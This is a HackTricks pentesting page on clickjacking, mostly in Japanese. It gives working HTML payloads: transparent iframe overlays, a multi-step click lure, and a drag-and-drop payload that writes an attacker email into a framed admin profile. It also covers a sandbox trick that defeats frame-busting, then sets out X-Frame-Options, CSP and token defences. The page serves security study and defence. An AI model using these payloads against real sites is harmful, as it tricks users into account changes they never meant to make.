hacktricks/pentesting-web/clickjacking.md

229 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Clickjacking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
## What is Clickjacking
クリックジャッキング攻撃では、**ユーザー**が**見えない**か、別の要素に偽装された**要素**をウェブページ上で**クリック**するように**騙されます**。この操作は、ユーザーにとって意図しない結果を引き起こす可能性があり、マルウェアのダウンロード、悪意のあるウェブページへのリダイレクト、資格情報や機密情報の提供、金銭の移動、または製品のオンライン購入などが含まれます。
### Prepopulate forms trick
時には、ページを読み込む際にGETパラメータを使用して**フォームのフィールドの値を埋める**ことが可能です。攻撃者はこの動作を悪用して、任意のデータでフォームを埋め、ユーザーが送信ボタンを押すようにクリックジャッキングペイロードを送信することができます。
### Populate form with Drag\&Drop
ユーザーに**フォームを埋めてもらいたいが、特定の情報(知っているメールアドレスや特定のパスワードなど)を直接書くように頼みたくない**場合、ユーザーに**Drag\&Drop**してもらうように頼むことができます。これにより、あなたが制御するデータが書き込まれます。これは[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように行えます。
### Basic Payload
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### マルチステップペイロード
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### ドラッグ&ドロップ + クリックペイロード
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
もしあなたが**ユーザーがクリックする必要があるXSS攻撃**を特定し、そのページが**クリックジャッキングに脆弱**であれば、ユーザーをボタン/リンクをクリックさせるためにそれを悪用することができます。\
例:\
_あなたはアカウントのいくつかのプライベートな詳細に**自己XSS**を見つけました(**あなたしか設定や読み取りができない**詳細)。これらの詳細を設定するための**フォーム**が**クリックジャッキングに脆弱**であり、GETパラメータで**フォーム**を**事前入力**することができます。_\
\_\_攻撃者は、そのページに対して**クリックジャッキング**攻撃を準備し、**XSSペイロード**で**フォーム**を**事前入力**し、**ユーザー**を**フォームを送信**させるように**騙す**ことができます。したがって、**フォームが送信されると**、値が変更され、**ユーザーはXSSを実行することになります**。
## Clickjackingを軽減するための戦略
### クライアントサイドの防御
クライアントサイドで実行されるスクリプトは、クリックジャッキングを防ぐためのアクションを実行できます:
* アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
* すべてのフレームを表示可能にする。
* 見えないフレームへのクリックを防ぐ。
* 潜在的なクリックジャッキングの試みを検出し、ユーザーに警告する。
しかし、これらのフレームバスティングスクリプトは回避される可能性があります:
* **ブラウザのセキュリティ設定:** 一部のブラウザは、セキュリティ設定やJavaScriptサポートの欠如に基づいてこれらのスクリプトをブロックする場合があります。
* **HTML5 iframe `sandbox`属性:** 攻撃者は、`allow-forms`または`allow-scripts`の値を持つ`sandbox`属性を設定することでフレームバスタースクリプトを無効化できますが、`allow-top-navigation`は含まれていません。これにより、iframeが自分がトップウィンドウであるかどうかを確認できなくなります。
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
The `allow-forms``allow-scripts` の値は、iframe内でのアクションを有効にし、トップレベルのナビゲーションを無効にします。ターゲットサイトの意図した機能を確保するために、攻撃の種類に応じて `allow-same-origin``allow-modals` などの追加の権限が必要になる場合があります。ブラウザのコンソールメッセージは、どの権限を許可するかの指針となります。
### サーバーサイドの防御
#### X-Frame-Options
**`X-Frame-Options` HTTPレスポンスヘッダー**は、ブラウザにページを `<frame>` または `<iframe>` でレンダリングする正当性について通知し、Clickjackingを防ぐのに役立ちます
* `X-Frame-Options: deny` - どのドメインもコンテンツをフレーム化できません。
* `X-Frame-Options: sameorigin` - 現在のサイトのみがコンテンツをフレーム化できます。
* `X-Frame-Options: allow-from https://trusted.com` - 指定された 'uri' のみがページをフレーム化できます。
* 制限に注意してくださいブラウザがこのディレクティブをサポートしていない場合、機能しない可能性があります。一部のブラウザはCSPのframe-ancestorsディレクティブを優先します。
#### Content Security Policy (CSP) frame-ancestorsディレクティブ
**CSPの`frame-ancestors`ディレクティブ**は、Clickjacking保護のための推奨方法です
* `frame-ancestors 'none'` - `X-Frame-Options: deny` と同様です。
* `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` と同様です。
* `frame-ancestors trusted.com` - `X-Frame-Options: allow-from` と同様です。
例えば、以下のCSPは同じドメインからのフレーミングのみを許可します
`Content-Security-Policy: frame-ancestors 'self';`
さらなる詳細や複雑な例については、[frame-ancestors CSPドキュメント](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)や[MozillaのCSP frame-ancestorsドキュメント](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)を参照してください。
### `child-src` と `frame-src` を使用したContent Security Policy (CSP)
**Content Security Policy (CSP)**は、ブラウザがコンテンツを読み込むことを許可すべきソースを指定することによって、Clickjackingやその他のコードインジェクション攻撃を防ぐためのセキュリティ対策です。
#### `frame-src`ディレクティブ
* フレームの有効なソースを定義します。
* `default-src`ディレクティブよりも具体的です。
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
このポリシーは、同じオリジンselfおよび https://trusted-website.com からのフレームを許可します。
#### `child-src` ディレクティブ
* ウェブワーカーとフレームの有効なソースを設定するためにCSPレベル2で導入されました。
* frame-srcおよびworker-srcのフォールバックとして機能します。
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
このポリシーは、同じオリジンselfおよび https://trusted-website.com からのフレームとワーカーを許可します。
**使用上の注意:**
* 非推奨: child-src は frame-src と worker-src に置き換えられています。
* フォールバック動作: frame-src が存在しない場合、child-src がフレームのフォールバックとして使用されます。両方が存在しない場合は、default-src が使用されます。
* 厳格なソース定義: 悪用を防ぐために、指示に信頼できるソースのみを含めてください。
#### JavaScript フレームブレイキングスクリプト
完全に確実ではありませんが、JavaScript ベースのフレームバスティングスクリプトを使用して、ウェブページがフレームにされるのを防ぐことができます。例:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Anti-CSRFトークンの使用
* **トークン検証:** ウェブアプリケーションでanti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われていることを確認し、Clickjackedページを通じて行われていないことを保証します。
## 参考文献
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}